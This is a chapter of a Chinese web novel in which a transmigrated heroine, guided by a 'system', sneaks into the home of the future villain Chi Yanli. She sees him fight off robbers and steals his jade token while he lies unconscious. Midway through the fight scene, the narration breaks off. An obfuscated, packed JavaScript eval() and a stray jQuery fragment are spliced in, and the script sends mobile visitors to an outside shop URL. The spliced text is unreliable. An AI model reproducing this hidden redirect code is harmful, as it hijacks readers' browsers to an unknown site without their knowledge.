春柳絮絮,幼芽长新。

    林朝祈提裙下马,步入西市。

    【宿主:林朝祈】

    【攻略对象:池厌礼】

    【背景:周朝延年二十一年】

    【宿主您现身份是当朝四品御史林知行的女儿,本书中的反派池厌礼将会在两年后借军功上位,把持朝政,残害忠良。最终弑君篡位。】

    【您需要做的便是在其野心萌发期间,将其扼杀,为天下百姓,为延续周朝百年辉煌。】

    【而任务完成,天命归途,您也会回到原来的世界。】

    【经计算,本书最佳方案为情感攻略。】

    系统的话不停在脑海中徘徊,她怎么也没想过自己十九岁这年,还有穿书一劫。

    想想早知道就向回家路上遇见的那个算命先生卜一卦了,可无奈眼下她只有完成任务才能回家了。

    根据系统指示,大反派池厌礼眼下还是个无名的卖菜小农,但他实际身份是远安侯府的三少爷。七日后的浴佛节上他将认亲归宗。

    系统告知林朝祈若是让池厌礼认亲成功,她的任务只会更难。

    想要阻止,最简单的方法就是先拿走认亲的信物。

    时间紧迫,林朝祈甚至没机会适应新环境就被赶鸭子上架,前往当下反派所在的西市,了解情况。

    林朝祈站在车水马龙的街市中央,却是陌生至极。

    仰天不见四起的高楼,耳畔无车流急速划过空气的凛冽。

    只有风里吹过的青叶落在空中,卷了又卷。

    那一长溜的小摊有西域手作,胡商卖买……放眼过去望不到头。

    这要怎么找,如果池厌礼能在一个显眼的地方就好了。

    林朝祈美美想着,而她刚走两步便发现有个摊子面前围满了人。

    透过幂篱瞥见人群中被簇拥着的身影,冥冥中,仿若有道红线牵引,告诉她。

    她要找的人就在那,她正想仔细看看时,系统的声音同时响起。

    【攻略目标出现。】

    林朝祈越过人群,扭曲着身体挤进最里头,途中不小心挤歪了锥帽,她有些不耐的将这碍事的东西摘下。

    同时在她落手间,清楚的看见了那个人。

    少年正忙着给人结账,生意好不热闹。

    嘈杂中有人唠嗑道:“池郎君今个来的怎么这么晚?”

    他笑着开口:“家里有点事耽搁了。”

    声音冷冽,似清泉作响。

    林朝祈盯着他,心下愕然,系统口中未来那个会谋权篡位的大反派,竟是生了这样一桩清绝出尘的脸。

    身穿的衣物旧得连补丁的颜色都融在了一起,裤腿处沾着些泥,乍一瞧还以为是个温弱书生。

    试问在场哪位,都不会把他和大反派联系在一起。

    周遭人渐渐离开,池厌礼重新得了空闲,这才看向那个一直暗暗打量着他的姑娘。

    他抬头,目光刚好和林朝祈对上。

    少女貌似激灵了一下,飞快挪来视线,随后故作轻态:“剩下的全给我吧,也没多少了。”

    池厌礼心下盘算着这姑娘来意,手上利落装好菜,接过她递来的几块碎银。

    他感受到对方微凉的指尖,带着不易察觉的轻颤,微微一怔,正想开口道不用这么多,对方已转身离去。

    他目光紧紧锁着那道逐渐消失的背影,手中的碎银有些凉,却在慢慢染上他的体温。

    这头林朝祈走了很远后才敢停下来缓一缓,她捂着狂跳的心口,脑中却反复出现少年接过银子时,那双抬起的眼睛。

    她不禁犹豫,这样一双干净的眼睛,也会有贪念么?

    【请宿主加快速度,留给我们的时间不多了。】

    久未出声的系统似察觉到林朝祈的情绪波动,出言打断。

    林朝祈深吸了口气,任风吹过汗湿的额发。她甩了甩头,把那双眼睛从脑海里暂时驱逐出去。

    *

    林朝祈盯着床顶看了很久,终于等到婢女们都睡下。

    她蹑手蹑脚地下床,走至衣柜旁,摸索着取出藏在最底下的夜行服,又小心着动静捯饬好一会才穿上。

    月夜当空,墙上忽闪一影。

    林朝祈从林府的一处矮墙翻出,轻巧落地。

    她拍了拍手心的泥沙,又回头看了眼身后,心想,好在林府还有这么一处地方,不然她还得愁怎么出门。

    在知道目标是枚玉佩后,林朝祈便开始思考怎么与池厌礼交往上,但最后她决定采用最粗暴的方式,窃取。

    因为系统说过这个时期的池厌礼是最好拿捏的,但她没时间去培养和池厌礼的感情,让他能心甘情愿将玉佩交出。

    林朝祈望了望天色,正是人困马乏,警惕性最低的时候。

    她又仔细检查了遍怀里的东西,将藏于袖中的小刀又缠进了些,确保万无一失。

    按这几天观察的路线林朝祈巧妙避开了更夫和巡夜,一路辗转,直到脚下的路越发不平,四周的屋舍也越来越低矮破败。

    空气中浮散着淡淡炊烟味和潮湿气息。

    她拐进一条深不见底的小巷,一直走,直到隐约可见墙上昏暗的灯火。

    林朝祈凑近,眯眼确认,火光映出一小点木门轮廓,上头有三个连在一起的虫洞。

    是池厌礼家没错。

    害怕,紧张,心虚的情绪交织在一起,林朝祈心跳又有些加速,她把药粉拿出死死攥在手中深怕深怕自己出啥纰漏。

    怀中还有叠厚厚的银票及胡椒粉。

    这是她预留的后手,若是被发现,她打算用这笔钱买下玉佩。

    她倒不是没想过用金钱交易,非得挺而走险,而是系统告诉她这种概率几乎为零,甚至可能会打草惊蛇,所以与其说买,更像是为自己留脱身的机会。

    门没从里面闩死,虚掩着。她悄声推开一条细缝,闪身进去,反手缓缓将门拢上。

    屋内比外头更暗些,风穿过窗户发出呜声,月光漏了些进来,外间狭小,几乎一览无余。

    一张破桌,两把歪斜的凳子,但空气中却有一丝与此格格不入的香味。

    林朝祈有些疑惑,本想往里间去,却在转身之际瞥见桌上放着一个包袱,然没等她上前查看,房梁上突兀响起接连不断的簌簌声。

    让她本就紧绷的神经瞬间揪了起来,林朝祈来不及去辨别声音是什么所致,甚至来不及躲起。

    砰!

    一声巨响,惊的院内树上几只栖息鸟儿展翅外飞。

    破旧的木门四分五裂的被人踩在脚下,周边扬起尘土。

    林朝祈整个人僵在原地,血液瞬间冻结,她猛地扭头看向门口。

    一道清瘦身影从天而降,玄色衣袍被夜风卷起,月色在他衣摆与发梢渡了层浅浅的银光。

    随着不速之客的闯入,空气里那股淡香慢慢被血腥味取代,池厌礼衣衫凌乱,手中握着根不知道哪来的铁棍,与那几个踹门而入,手持刀棍的大汉对峙着。

    林朝祈瞪大了眼睛,忙将自己躲在桌后的阴影里,后背紧贴着墙壁,死死捂着嘴,恨不得把自己整个人塞进墙缝里。

    几人逼近,刀光晃眼。

    一个相对瘦弱的汉子在池厌礼瞳中放大,他迅速侧身,接着手中木棍骤然格出,一棍打在那人手臂,对方痛的张了手,长剑掉落在地的刹那被池厌礼一脚踢起,握在胸前。

    静谧的夜被划破,刀剑相碰发出铮铮声。

    林朝祈躲在角落,将这一幕收尽眼底。

    池厌礼招招

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17566234|204759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    干脆利落,眼神里透着杀意,哪还有点白日淡若似水的模样。

    只是到底人多势众,对方找准时机抬腿一脚踹在池厌礼胸膛。

    池厌礼踉跄后退几步,藏于腰间的玉佩也因此掉落在地。

    玉佩击地,发出一道清脆的响声,将在场所有人的眼光牢牢抓住。

    池厌礼见状,眉间闪过戾气,他咬牙用力挑起玉穗子,一甩将玉佩稳稳丢在后头桌子的包袱上。

    随后再次持刀,将众人挡在身前。

    为首的刀疤男拿着棍吐了口血水道:“我说小子,咱们只拿物不伤性命,你乖乖把东西给我们什么事都没有!”

    他虽说着求和话,语气里却满是傲慢。

    池厌礼满眼薄凉看着眼前这群人,谁能想七皇子给的玉佩能招来这么大事,肋骨处隐隐作痛着,他心中更是烦躁不已。

    七皇子派的人呢!?

    他一言不发,在刀疤男看来就是挑衅了。

    刀疤男刚扬声命令兄弟们上前抢夺,又一阵沉笃的脚步声响起在院中。

    面前出现的场景直叫这群劫匪双腿打颤。

    月下,池厌礼站在庭院中,神色阴暗,唇角处沾着血,手持剑,背脊挺立不曾弯一下,而原本空旷的屋上突然出现十几名暗卫,个个手持长刀,目中无光,摆出戒备状态,拥在池厌礼身后。

    仿佛池厌礼一声令下,几人瞬间就会被撕成碎片。

    刀疤男意识到可能惹了大祸,这群凭空出现的人很明显来自皇室,他心中不由唾骂,这小子到底什么来头,东家不会是接了个不干净的活给他们做吧。

    犹豫不了几时,屋上的那把把刀淬着寒光仿佛下一秒就要穿入他的头颅,刀疤男决定立即马上撤。

    暗卫见危险已除,又在眨眼间消失的一干二净。

    池厌礼这才缓缓吐了口气,转身站定,神色不明看向一个晦暗的角落。

    他早感觉到了身后不寻常的气息,眼神在进入屋内的瞬间,精准地,如同冰锥般刺向僵立着的林朝祈!

    那双眼睛,在昏暗的黄线下,没有白日集市里的干净平静,里面翻涌着痛楚,冰冷的杀意,以及一丝难以置信的愕然。

    林朝祈一动不敢动,祈求池厌礼不要看见她。

    池厌礼拖着受伤的身体迈进屋,随后一头载在了门槛上。

    月光惨淡,照亮他毫无血色的侧脸和紧蹙的眉心。

    ……这是晕过去了?

    林朝祈缩在阴影里,等了许久,直到手脚都麻木,才敢微微探头。

    池厌礼依旧没动。

    巨大的恐惧裹挟着林朝祈。

    池厌礼没看见她!他昏迷了!

    林朝祈拖着不受自己使唤的腿,从藏身处一点点挪出,寸步不离盯着地上的少年,旋即迅速拿走那枚静静躺在布上的玉佩。

    她被倒地的门板踉跄了几步,却是头也不回地扎进茫茫夜色,拼命狂奔。

    直到回到闺房,馨怡的淡香渐渐将她身体烘暖,林朝祈这才感受到手中的硬物。

    她给自己点了盏灯,烛火旁,玉佩温润,泛着幽光。

    【恭喜宿主获得关键信物“青花玉佩”,任务完成度百分之五十,但反派认亲行为仍可能发生,请宿主持续关注。】

    林朝祈紧握着玉佩,后怕和虚脱席卷而来。

    池厌礼应该没看到她,他当时自顾不暇,面朝门口,是背对着她所在的角落,且他转身便晕了过去,应当是没看见。

    林朝祈不断安慰自己,摩挲着来之不易的玉佩,而那间仿佛被遗忘的破屋中。

    池厌礼不知何时醒了,有些狼狈的坐在门前,视线落在他染血的指尖。

    他似在喃喃自语。

    “所以是出现变数了吗?”